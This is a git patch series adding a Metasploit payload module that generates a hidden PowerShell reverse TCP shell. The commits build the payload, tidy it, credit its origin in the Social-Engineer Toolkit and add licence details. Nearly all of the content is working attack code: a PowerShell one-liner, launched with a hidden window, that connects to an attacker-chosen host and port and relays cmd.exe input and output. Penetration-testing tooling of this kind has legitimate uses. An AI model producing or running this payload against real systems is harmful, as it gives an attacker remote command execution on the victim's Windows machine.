From 2d1a0c3a01f88927848d9d22b5f8a112620dc168 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 8 Feb 2014 01:00:31 +0000
Subject: [PATCH 1/5] Windows CMD love too

---
 .../singles/cmd/windows/reverse_powershell.rb | 97 +++++++++++++++++++
 1 file changed, 97 insertions(+)
 create mode 100644 modules/payloads/singles/cmd/windows/reverse_powershell.rb

diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
new file mode 100644
index 0000000000..cdd21dd1cf
--- /dev/null
+++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
@@ -0,0 +1,97 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/handler/find_shell'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Windows Command Shell, Reverse TCP (via Powershell)',
+      'Description'   => 'Connect back and create a command shell via Powershell',
+      'Author'        => 'Ben Campbell', #and Anon author of http://pastebin.com/dPPuTDKY
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'win',
+      'Arch'          => ARCH_CMD,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'cmd',
+      'RequiredCmd'   => 'powershell',
+      'Payload'       =>
+        {
+          'Offsets' => { },
+          'Payload' => ''
+        }
+      ))
+
+    register_options(
+      [
+        OptString.new('CMD', [ false, "The command string to execute" ]),
+      ], self.class)
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate
+    return super + command_string
+  end
+
+  #
+  # Returns the command string to use for execution
+  #
+  def command_string
+    # Credit to: http://pastebin.com/dPPuTDKY
+    lhost = datastore['LHOST']
+    lport = datastore['LPORT']
+    powershell = "function RSC{"\
+        "if ($c.Connected -eq $true) {$c.Close()};"\
+        "if ($p.ExitCode -ne $null) {$p.Close()};exit;};"\
+        "$a='#{lhost}';$p='#{lport}';$c=New-Object system.net.sockets.tcpclient;"\
+        "$c.connect($a,$p);$s=$c.GetStream();"\
+        "$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"\
+        "$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"\
+        "$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"\
+        "$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"\
+        "$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"\
+        "while($os.Peek() -ne -1){"\
+          "$o += $e.GetString($os.Read())"\
+        "};"\
+        "$s.Write($e.GetBytes($o),0,$o.Length);"\
+        "$o=$null;$d=$false;$t=0;"\
+        "while (-not $d) {"\
+          "if ($c.Connected -ne $true) {cleanup};"\
+          "$pos=0;$i=1; "\
+          "while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
+            "$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
+            "$pos+=$r;"\
+            "if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
+            "if ($pos -gt 0){"\
+              "$str=$e.GetString($nb,0,$pos);"\
+              "$is.write($str);start-sleep 1;"\
+              "if ($p.ExitCode -ne $null){RSC}else{"\
+                "$o=$e.GetString($os.Read());"\
+                "while($os.Peek() -ne -1){"\
+                  "$o += $e.GetString($os.Read());"\
+                  "if ($o -eq $str) {$o=''}"\
+                "};"\
+                "$s.Write($e.GetBytes($o),0,$o.length);"\
+                "$o=$null;"\
+                "$str=$null"\
+              "}"\
+            "}else{RSC}};"\
+
+    powershell_encoded = Rex::Text.encode_base64(Rex::Text.to_unicode(powershell))
+
+    return "powershell.exe -w hidden -nop -e #{powershell_encoded}"
+  end
+
+end

From efe4d6b41ae9e21d88c320f9221293b3c0b9c2a0 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 8 Feb 2014 01:03:02 +0000
Subject: [PATCH 2/5] Tidyup

---
 modules/payloads/singles/cmd/windows/reverse_powershell.rb | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
index cdd21dd1cf..364d9eda72 100644
--- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
@@ -31,11 +31,6 @@ module Metasploit3
           'Payload' => ''
         }
       ))
-
-    register_options(
-      [
-        OptString.new('CMD', [ false, "The command string to execute" ]),
-      ], self.class)
   end
 
   #
@@ -49,7 +44,6 @@ module Metasploit3
   # Returns the command string to use for execution
   #
   def command_string
-    # Credit to: http://pastebin.com/dPPuTDKY
     lhost = datastore['LHOST']
     lport = datastore['LPORT']
     powershell = "function RSC{"\

From 80814adaf9717d57f1de84f8fb6cfcdce80fc51f Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 8 Feb 2014 01:42:45 +0000
Subject: [PATCH 3/5] Credit where credits due

---
 .../payloads/singles/cmd/windows/reverse_powershell.rb | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
index 364d9eda72..b4a178ecbc 100644
--- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
@@ -17,7 +17,7 @@ module Metasploit3
     super(merge_info(info,
       'Name'          => 'Windows Command Shell, Reverse TCP (via Powershell)',
       'Description'   => 'Connect back and create a command shell via Powershell',
-      'Author'        => 'Ben Campbell', #and Anon author of http://pastebin.com/dPPuTDKY
+      'Author'        => ['Ben Campbell', 'Dave Kennedy'],
       'License'       => MSF_LICENSE,
       'Platform'      => 'win',
       'Arch'          => ARCH_CMD,
@@ -47,8 +47,10 @@ module Metasploit3
     lhost = datastore['LHOST']
     lport = datastore['LPORT']
     powershell = "function RSC{"\
-        "if ($c.Connected -eq $true) {$c.Close()};"\
-        "if ($p.ExitCode -ne $null) {$p.Close()};exit;};"\
+          "if ($c.Connected -eq $true) {$c.Close()};"\
+          "if ($p.ExitCode -ne $null) {$p.Close()};"\
+          "exit;"\
+        "};"\
         "$a='#{lhost}';$p='#{lport}';$c=New-Object system.net.sockets.tcpclient;"\
         "$c.connect($a,$p);$s=$c.GetStream();"\
         "$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"\
@@ -62,7 +64,7 @@ module Metasploit3
         "$s.Write($e.GetBytes($o),0,$o.Length);"\
         "$o=$null;$d=$false;$t=0;"\
         "while (-not $d) {"\
-          "if ($c.Connected -ne $true) {cleanup};"\
+          "if ($c.Connected -ne $true) {RSC};"\
           "$pos=0;$i=1; "\
           "while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
             "$r=$s.Read($nb,$pos,$nb.Length - $pos);"\

From 9f04e0081d876e989cda4010bff43ffab4ed9619 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sat, 8 Feb 2014 19:28:03 +0000
Subject: [PATCH 4/5] Stick with command let encoder handle encoding

---
 modules/payloads/singles/cmd/windows/reverse_powershell.rb | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
index b4a178ecbc..18a6acb83e 100644
--- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
@@ -85,9 +85,7 @@ module Metasploit3
               "}"\
             "}else{RSC}};"\
 
-    powershell_encoded = Rex::Text.encode_base64(Rex::Text.to_unicode(powershell))
-
-    return "powershell.exe -w hidden -nop -e #{powershell_encoded}"
+    return "powershell -w hidden -nop -c #{powershell}"
   end
 
 end

From 9fad43da08765fe90c1b43237ecf3b76e09f9a43 Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan_vazquez@rapid7.com>
Date: Wed, 19 Feb 2014 15:11:12 -0600
Subject: [PATCH 5/5] Add license information

---
 .../singles/cmd/windows/reverse_powershell.rb     | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
index 18a6acb83e..42e9dd6208 100644
--- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
@@ -17,7 +17,16 @@ module Metasploit3
     super(merge_info(info,
       'Name'          => 'Windows Command Shell, Reverse TCP (via Powershell)',
       'Description'   => 'Connect back and create a command shell via Powershell',
-      'Author'        => ['Ben Campbell', 'Dave Kennedy'],
+      'Author'        =>
+        [
+          'Dave Kennedy', # Original payload from trustedsec on SET
+          'Ben Campbell' # Metasploit module
+        ],
+      'References'    =>
+        [
+          'URL' => 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell',
+        ],
+      # The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE
       'License'       => MSF_LICENSE,
       'Platform'      => 'win',
       'Arch'          => ARCH_CMD,
@@ -34,7 +43,7 @@ module Metasploit3
   end
 
   #
-  # Constructs the payload
+  # Constru the payload
   #
   def generate
     return super + command_string
@@ -85,7 +94,7 @@ module Metasploit3
               "}"\
             "}else{RSC}};"\
 
-    return "powershell -w hidden -nop -c #{powershell}"
+    "powershell -w hidden -nop -c #{powershell}"
   end
 
 end